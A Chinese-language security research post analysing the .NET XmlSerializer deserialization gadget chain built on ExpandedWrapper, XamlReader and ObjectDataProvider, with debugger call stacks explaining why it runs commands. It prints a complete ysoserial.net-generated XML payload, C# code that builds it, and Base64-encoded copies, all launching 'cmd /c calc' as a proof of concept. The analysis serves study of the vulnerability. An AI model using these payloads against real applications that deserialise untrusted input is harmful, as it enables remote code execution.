前言:
在看了很多dotNetXmlSerializer反序列化的文章后,我不由得产生了两个个问题:
-
ObjectDataProvider为什么能够执行命令?
-
使用XamlReader是否需要特定的代码环境?
-
利用条件
反序列化Payload:
Payload如下:
C:UsersAdministratorDesktop代码审计.netysoseril.netRelease>ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c calc
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
ObjectDataProvider:
在XmlSerializer中绕不开的就是ObjectDataProvider类了,可以看看如下demo:
var obj = new ObjectDataProvider();
obj.ObjectInstance = new System.Diagnostics.Process();
obj.MethodName = "Start";
obj.MethodParameters.Add("calc");
上诉代码的意思就是先将Process实例绑定到ObjectInstance属性上,然后将Start绑定到MethodName中,最后加入参数。运行这段代码就会弹窗Calc:
那么运行这段代码为什么能够弹出calc呢?这里需要说到C#中的事件了,具体文章可以移步:
https://www.runoob.com/csharp/csharp-event.html
调用堆栈如下:
> System.dll!System.Diagnostics.Process.Start(string fileName) (IL=0x0000, Native=0x079EB2A0+0x1F)
[本机到托管的转换]
mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x001E, Native=0x07941E58+0xA1)
mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x07941368+0x18E)
mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x0739, Native=0x079E88D8+0x1808)
mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args, System.Globalization.CultureInfo culture) (IL≈0x0000, Native=0x079E8878+0x40)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0043, Native=0x079E8348+0x11B)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x079E7590+0x177)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=0x005D, Native=0x079E3610+0x169)
WindowsBase.dll!System.Windows.Data.DataSourceProvider.Refresh() (IL=0x000D, Native=0x079E3338+0x27)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.MethodName.set(string value) (IL=0x0020, Native=0x079E82E0+0x4F)
ConsoleApp.exe!ConsoleApp.Program.Main(string[] args) (IL=0x002F, Native=0x05D920A8+0x9D)
调用堆栈分析:
Methodset分析:
set
{
this._methodName = value;
this.OnPropertyChanged("MethodName");
if (!base.IsRefreshDeferred)
{
base.Refresh();
}
}
这里的this.OnPropertyChanged方法进行了数据绑定,最终代码为:
protected virtual void OnPropertyChanged(PropertyChangedEventArgs e)
{
if (this.PropertyChanged != null)
{
this.PropertyChanged(this, e);
}
}
他的作用就是当被绑定的值发生改变时会触发该事件,通常用于WPF。而出发命令执行的关键是Refresh此方法:
public void Refresh()
{
this._initialLoadCalled = true;
this.BeginQuery();
}
直接跟进BeginQuery方法就好:
protected override void BeginQuery()
{
if (TraceData.IsExtendedTraceEnabled(this, TraceDataLevel.Attach))
{
TraceData.Trace(TraceEventType.Warning, TraceData.BeginQuery(new object[]
{
TraceData.Identify(this),
this.IsAsynchronous ? "asynchronous" : "synchronous"
}));
}
if (this.IsAsynchronous)
{
ThreadPool.QueueUserWorkItem(new WaitCallback(this.QueryWorker), null);
return;
}
this.QueryWorker(null);
}
第一个if暂且不说,第二个if this.IsAsynchronous因为我们没有进行初始化所以一定是false,因此两个流程均不进入直接跟进
QueryWorker方法:
if (this._mode == ObjectDataProvider.SourceMode.NoSource || this._objectType == null){
...
}else{
...
obj2 = this.InvokeMethodOnInstance(out ex);
...
}
从调用栈来看这里以及到头了,那么此类就相当于使用了反射去调用Start函数进行执行命令而如何成功反射的关键就是Refresh()这个函数了。
XamlReader是否需要特定的代码环境:
首先看个Demo:
var type = "System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089";
var xml = DecodeBase64("utf-8", "PEV4cGFuZGVkV3JhcHBlck9mWGFtbFJlYWRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+CiAgICAgICAgPEV4cGFuZGVkRWxlbWVudC8+CiAgICAgICAgPFByb2plY3RlZFByb3BlcnR5MD4KICAgICAgICAgICAgPE1ldGhvZE5hbWU+UGFyc2U8L01ldGhvZE5hbWU+CiAgICAgICAgICAgIDxNZXRob2RQYXJhbWV0ZXJzPgogICAgICAgICAgICAgICAgPGFueVR5cGUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeHNpOnR5cGU9InhzZDpzdHJpbmciPgogICAgICAgICAgICAgICAgICAgIDwhW0NEQVRBWzxSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6ZD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIHhtbG5zOmI9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iPjxPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCI+PE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPjxiOlN0cmluZz5jbWQ8L2I6U3RyaW5nPjxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz48L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPjwvT2JqZWN0RGF0YVByb3ZpZGVyPjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pl1dPgogICAgICAgICAgICAgICAgPC9hbnlUeXBlPgogICAgICAgICAgICA8L01ldGhvZFBhcmFtZXRlcnM+CiAgICAgICAgICAgIDxPYmplY3RJbnN0YW5jZSB4c2k6dHlwZT0iWGFtbFJlYWRlciI+PC9PYmplY3RJbnN0YW5jZT4KICAgICAgICA8L1Byb2plY3RlZFByb3BlcnR5MD4KICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZYYW1sUmVhZGVyT2JqZWN0RGF0YVByb3ZpZGVyPg==");
XmlSerializer serializer = new XmlSerializer(Type.GetType(type));
MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(xml));
StreamReader sr = new StreamReader(ms);
serializer.Deserialize(sr);
可以发现我上面的代码中并没有出现XamlReader相关的代码环境依然弹出了calc:
在来分析type变量中的内容,System.Data.Services.Internal.ExpandedWrapper这个是用来指定变量的,他其中具有两个Type:
-
[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]
-
[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]
ObjectDataProvider类是不能够执行进行反序列化的,因为ObjectInstance属性是未知的,可以先看一段代码:
var obj = new ObjectDataProvider();
obj.ObjectInstance = new System.Diagnostics.Process();
obj.MethodParameters.Add("calc");
obj.MethodName = "Start";
XmlSerializer serializer = new XmlSerializer(typeof(ObjectDataProvider));
MemoryStream memoryStream = new MemoryStream(); //申请内存
TextWriter writer = new StreamWriter(memoryStream);
serializer.Serialize(writer, obj);//像内存写入数据
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
运行后出现如下错误:
InvalidOperationException: 不应是类型 System.Diagnostics.Process。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。
那么我们使用System.Data.Services.Internal.ExpandedWrapper在来进行反序列化,代码如下:
ExpandedWrapper<System.Diagnostics.Process, ObjectDataProvider > expandedWrapper = new ExpandedWrapper<System.Diagnostics.Process, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new System.Diagnostics.Process();
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
expandedWrapper.ProjectedProperty0.MethodName = "Start";
XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<System.Diagnostics.Process, ObjectDataProvider>));
MemoryStream memoryStream = new MemoryStream(); //申请内存
TextWriter writer = new StreamWriter(memoryStream);
serializer.Serialize(writer, expandedWrapper);//像内存写入数据
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
这样同样会报错,VS会出现:
NotSupportedException: 类型 System.ComponentModel.ISite 的成员 System.ComponentModel.Component.Site 是接口,因此无法将其序列化。
也就是说反序列化中不能出现接口,接下来就需要类中没有接口且还能执行命令的类了,在ysoseril.net当中使用了XamlReader类,他的Parse方法可以解析XAML,分析下为我们生成的xaml:
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
-
首先
xmlns:b="clr-namespace:System;assembly=mscorlib"
代表using Systeam并设置别名为b,下面的那句同理。 -
ObjectType表示获取System.Diagnostics.Process的Type,MethodName代表设置MethodName属性为Start
-
ObjectDataProvider.MethodParameters设置了两个参数
代码如下:
ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
expandedWrapper.ProjectedProperty0.MethodParameters.Add(DecodeBase64("utf-8", "PFJlc291cmNlRGljdGlvbmFyeSB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlciBkOktleT0iIiBPYmplY3RUeXBlPSJ7ZDpUeXBlIGM6UHJvY2Vzc30iIE1ldGhvZE5hbWU9IlN0YXJ0Ij48T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+PGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+PGI6U3RyaW5nPi9jIGNhbGM8L2I6U3RyaW5nPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+PC9PYmplY3REYXRhUHJvdmlkZXI+PC9SZXNvdXJjZURpY3Rpb25hcnk+ "));
expandedWrapper.ProjectedProperty0.MethodName = "Parse";
XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
MemoryStream memoryStream = new MemoryStream(); //申请内存
TextWriter writer = new StreamWriter(memoryStream);
serializer.Serialize(writer, expandedWrapper);//像内存写入数据
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
Console.Read();
运行后生成Payload:
<?xml version="1.0" encoding="utf-8"?>
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ProjectedProperty0>
<ObjectInstance xsi:type="XamlReader" />
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string"><ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary></anyType>
</MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
将此Payload编码为Base64:
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPEV4cGFuZGVkV3JhcHBlck9mWGFtbFJlYWRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIj4KICA8UHJvamVjdGVkUHJvcGVydHkwPgogICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJYYW1sUmVhZGVyIiAvPgogICAgPE1ldGhvZE5hbWU+UGFyc2U8L01ldGhvZE5hbWU+CiAgICA8TWV0aG9kUGFyYW1ldGVycz4KICAgICAgPGFueVR5cGUgeHNpOnR5cGU9InhzZDpzdHJpbmciPiZsdDtSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6ZD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIHhtbG5zOmI9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iJmd0OyZsdDtPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCImZ3Q7Jmx0O09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0OyZsdDtiOlN0cmluZyZndDtjbWQmbHQ7L2I6U3RyaW5nJmd0OyZsdDtiOlN0cmluZyZndDsvYyBjYWxjJmx0Oy9iOlN0cmluZyZndDsmbHQ7L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0OyZsdDsvT2JqZWN0RGF0YVByb3ZpZGVyJmd0OyZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0OzwvYW55VHlwZT4KICAgIDwvTWV0aG9kUGFyYW1ldGVycz4KICA8L1Byb2plY3RlZFByb3BlcnR5MD4KPC9FeHBhbmRlZFdyYXBwZXJPZlhhbWxSZWFkZXJPYmplY3REYXRhUHJvdmlkZXI+
进行反序列化:
var type = "System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089";
var xml = DecodeBase64("utf-8", "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPEV4cGFuZGVkV3JhcHBlck9mWGFtbFJlYWRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIj4KICA8UHJvamVjdGVkUHJvcGVydHkwPgogICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJYYW1sUmVhZGVyIiAvPgogICAgPE1ldGhvZE5hbWU+UGFyc2U8L01ldGhvZE5hbWU+CiAgICA8TWV0aG9kUGFyYW1ldGVycz4KICAgICAgPGFueVR5cGUgeHNpOnR5cGU9InhzZDpzdHJpbmciPiZsdDtSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6ZD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIHhtbG5zOmI9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iJmd0OyZsdDtPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCImZ3Q7Jmx0O09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0OyZsdDtiOlN0cmluZyZndDtjbWQmbHQ7L2I6U3RyaW5nJmd0OyZsdDtiOlN0cmluZyZndDsvYyBjYWxjJmx0Oy9iOlN0cmluZyZndDsmbHQ7L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0OyZsdDsvT2JqZWN0RGF0YVByb3ZpZGVyJmd0OyZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0OzwvYW55VHlwZT4KICAgIDwvTWV0aG9kUGFyYW1ldGVycz4KICA8L1Byb2plY3RlZFByb3BlcnR5MD4KPC9FeHBhbmRlZFdyYXBwZXJPZlhhbWxSZWFkZXJPYmplY3REYXRhUHJvdmlkZXI+");
XmlSerializer serializer = new XmlSerializer(Type.GetType(type));
MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(xml));
StreamReader sr = new StreamReader(ms);
serializer.Deserialize(sr);
运行后成功弹出calc:
总结:
在利用XmlSerializer反序列化时需要Type以及反序列化的Payload可控才能够成功利用
调用堆栈:
> System.dll!System.Diagnostics.Process.Start(string fileName, string arguments) (IL=0x0000, Native=0x07D68330+0x22)
[本机到托管的转换]
mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x001E, Native=0x06B0DCB8+0xA1)
mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x06B0D870+0x18D)
mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x0739, Native=0x03A622E8+0x1805)
mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args, System.Globalization.CultureInfo culture) (IL≈0x0000, Native=0x03A62118+0x40)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0043, Native=0x03A61BE8+0x11C)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x03A60E58+0x176)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=0x005D, Native=0x03A1D8D0+0x169)
WindowsBase.dll!System.Windows.Data.DataSourceProvider.Refresh() (IL=0x000D, Native=0x03A1D890+0x27)
WindowsBase.dll!System.Windows.Data.DataSourceProvider.EndDefer() (IL=0x001C, Native=0x07D62BE8+0x2C)
WindowsBase.dll!System.Windows.Data.DataSourceProvider.EndInit() (IL=0x0006, Native=0x07D62BB0+0x1E)
WindowsBase.dll!System.Windows.Data.DataSourceProvider.System.ComponentModel.ISupportInitialize.EndInit() (IL=0x0006, Native=0x07D62B78+0x20)
System.Xaml.dll!MS.Internal.Xaml.Runtime.ClrObjectRuntime.InitializationGuard(System.Xaml.XamlType xamlType, object obj, bool begin) (IL=0x001B, Native=0x07D0CAD8+0x69)
System.Xaml.dll!System.Xaml.XamlObjectWriter.Logic_EndInit(MS.Internal.Xaml.Context.ObjectWriterContext ctx) (IL=0x001C, Native=0x07D58280+0x73)
System.Xaml.dll!System.Xaml.XamlObjectWriter.WriteEndObject() (IL=0x02C2, Native=0x07D557D0+0x7A5)
System.Xaml.dll!System.Xaml.XamlWriter.WriteNode(System.Xaml.XamlReader reader) (IL=0x0064, Native=0x07D01650+0x101)
PresentationFramework.dll!System.Windows.Markup.WpfXamlLoader.TransformNodes(System.Xaml.XamlReader xamlReader, System.Xaml.XamlObjectWriter xamlWriter, bool onlyLoadOneNode, bool skipJournaledProperties, bool shouldPassLineNumberInfo, System.Xaml.IXamlLineInfo xamlLineInfo, System.Xaml.IXamlLineInfoConsumer xamlLineInfoConsumer, MS.Internal.Xaml.Context.XamlContextStack<System.Windows.Markup.WpfXamlFrame> stack, System.Windows.Markup.IStyleConnector styleConnector) (IL=0x0166, Native=0x07D00040+0x42C)
PresentationFramework.dll!System.Windows.Markup.WpfXamlLoader.Load(System.Xaml.XamlReader xamlReader, System.Xaml.IXamlObjectWriterFactory writerFactory, bool skipJournaledProperties, object rootObject, System.Xaml.XamlObjectWriterSettings settings, System.Uri baseUri) (IL=0x00CA, Native=0x07CDCF10+0x284)
PresentationFramework.dll!System.Windows.Markup.WpfXamlLoader.Load(System.Xaml.XamlReader xamlReader, bool skipJournaledProperties, System.Uri baseUri) (IL≈0x0006, Native=0x07CDC910+0x59)
PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xaml.XamlReader xamlReader, System.Windows.Markup.ParserContext parserContext) (IL≈0x0038, Native=0x07C5CFE8+0xD7)
PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xml.XmlReader reader, System.Windows.Markup.ParserContext parserContext, System.Windows.Markup.XamlParseMode parseMode, bool useRestrictiveXamlReader, System.Collections.Generic.List<System.Type> safeTypes) (IL≈0x00F6, Native=0x03A6B370+0x3AA)
PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xml.XmlReader reader, System.Windows.Markup.ParserContext parserContext, System.Windows.Markup.XamlParseMode parseMode, bool useRestrictiveXamlReader) (IL≈0x0000, Native=0x03A6AB10+0x35)
PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xml.XmlReader reader, System.Windows.Markup.ParserContext parserContext, System.Windows.Markup.XamlParseMode parseMode) (IL≈0x0000, Native=0x03A6AAC0+0x30)
PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xml.XmlReader reader) (IL≈0x000E, Native=0x03A6AA38+0x68)
PresentationFramework.dll!System.Windows.Markup.XamlReader.Parse(string xamlText) (IL≈0x000E, Native=0x03A690C0+0x65)
[本机到托管的转换]
mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x001E, Native=0x06B0DCB8+0xA1)
mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x06B0D870+0x18D)
mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x0739, Native=0x03A622E8+0x1805)
mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args, System.Globalization.CultureInfo culture) (IL≈0x0000, Native=0x03A62118+0x40)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0043, Native=0x03A61BE8+0x11C)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x03A60E58+0x176)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=0x005D, Native=0x03A1D8D0+0x169)
WindowsBase.dll!System.Windows.Data.DataSourceProvider.Refresh() (IL=0x000D, Native=0x03A1D890+0x27)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.OnParametersChanged(MS.Internal.Data.ParameterCollection sender) (IL=0x002F, Native=0x03A68AC8+0x57)
PresentationFramework.dll!MS.Internal.Data.ParameterCollection.OnCollectionChanged() (IL=0x000C, Native=0x03A68A88+0x26)
PresentationFramework.dll!MS.Internal.Data.ParameterCollection.InsertItem(int index, object value) (IL=0x0014, Native=0x03A68820+0x3B)
mscorlib.dll!System.Collections.ObjectModel.Collection<object>.Add(object item) (IL=0x0028, Native=0x03A68718+0xE9)
mscorlib.dll!System.Collections.ObjectModel.Collection<object>.System.Collections.IList.Add(object value) (IL=0x0028, Native=0x03A68518+0xFC)
Microsoft.GeneratedCode!Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationReaderExpandedWrapper2.Read7_ObjectDataProvider(bool isNullable, bool checkType) (IL≈0x050D, Native=0x039D5450+0xE62)
Microsoft.GeneratedCode!Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationReaderExpandedWrapper2.Read8_Item(bool isNullable, bool checkType) (IL≈0x01FE, Native=0x039D4620+0x534)
Microsoft.GeneratedCode!Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationReaderExpandedWrapper2.Read9_Item() (IL≈0x0050, Native=0x039D38E0+0xE7)
[本机到托管的转换]
mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x000F, Native=0x06B0DCB8+0x6B)
mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x06B0D870+0x18D)
mscorlib.dll!System.Reflection.MethodBase.Invoke(object obj, object[] parameters) (IL≈0x0000, Native=0x039D3848+0x36)
System.Xml.dll!System.Xml.Serialization.TempAssembly.InvokeReader(System.Xml.Serialization.XmlMapping mapping, System.Xml.XmlReader xmlReader, System.Xml.Serialization.XmlDeserializationEvents events, string encodingStyle) (IL≈0x00E5, Native=0x039D15F0+0x3A1)
